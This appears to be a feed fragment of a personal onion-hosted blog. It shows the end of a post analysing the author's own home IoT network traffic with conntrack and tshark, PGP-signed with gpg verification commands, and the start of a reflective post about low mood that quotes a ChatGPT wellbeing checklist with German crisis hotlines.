    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    + + The Loop of Doom + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/loop_of_doom/ + Fri, 07 Nov 2025 13:45:52 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/loop_of_doom/ + <p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn&rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I&rsquo;ve been feeling more down, sad, exhausted. I&rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I&rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It&rsquo;s exhausting.</p> + It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting.

    +

    Funny how I loved my research, the group, the people, hanging out, trying new things. It’s just funny how everything changed all of the sudden. How I don’t feel anything anymore. How sad I’ve been. How down I’ve been. My cognitive functions, my memory and everything has been also badly damaged. It’s just horrible.

    +

    I’ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.

    +

    I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said “why do you want to label things?”.

    +

    This is actually a really valid question. I don’t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.

    +

    This is what I call the loop of doom. MDD. I don’t even know if I’m experiencing it or not. All I know is that things are not right, and I don’t feel well.

    +

    Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn’t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.

    +

    I’m happy that I’ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.

    +

    It’s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It’s just scary, and sad. I know I’m losing precious time that I cannot get back. I know at some point I’m expected to deliver results that I won’t have, and I know I won’t like myself when this inevitable happens.

    +

    I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I’ve been told to do by my brother in the meanwhile:

    +
      +
    • Going for short walks
    • +
    • Doing small tasks that make me feel good
    • +
    • idk… I don’t remember anything else.
    • +
    +

    ChatGPT also gave me some advice, I’ll copy it here:

    +
    # 14‑Day Reset — Daily Checklist
    +
    +**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________
    +
    +### How to use (60 seconds)
    +
    +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
    +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
    +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
    +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.
    +
    +### Define today’s Minimum Reliable Dose (MRD)
    +
    +*(Write clear, tiny actions with a start line → action → done proof.)*
    +
    +* **Study MRD:** ________________________________________________________________
    +* ---
    +* **Work/Code MRD:** ____________________________________________________________
    +* ---
    +
    +---
    +
    +### Daily tracker (14 days)
    +
    +| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
    +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
    +| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +
    +---
    +
    +### Quick reference
    +
    +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).
    +
    +**Code — restart protocol:**
    +
    +1. Open repo → `git status` → run tests/linter → open last‑changed file.
    +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
    +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.
    +
    +---
    +
    +### Safety net (Germany)
    +
    +* **Emergency:** 112
    +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
    +  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.
    +

    Lmao. I wonder how things will progress in the future, and how I’ll do. Was it really because of a failed relationship? Really? Something that never happened? I don’t believe it, it’s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn’tve these feelings. Maybe, just maybe.

    +

    But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn’t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.

    +

    Darn. That is a lot. Lot of bad things. Back to back to back.

    +

    Ok. Let’s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don’t. But I will figure it out and make it work. I have to. I ain’t, and I wasn’t brought up like this. Let’s fleaping go…

    +

    I try to keep ya’ll, the empty list of people, updated.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1
    +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX
    +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK
    +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp
    +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n
    +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv
    +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK
    +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6
    +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA
    +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1
    +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU=
    +=Cuma
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md
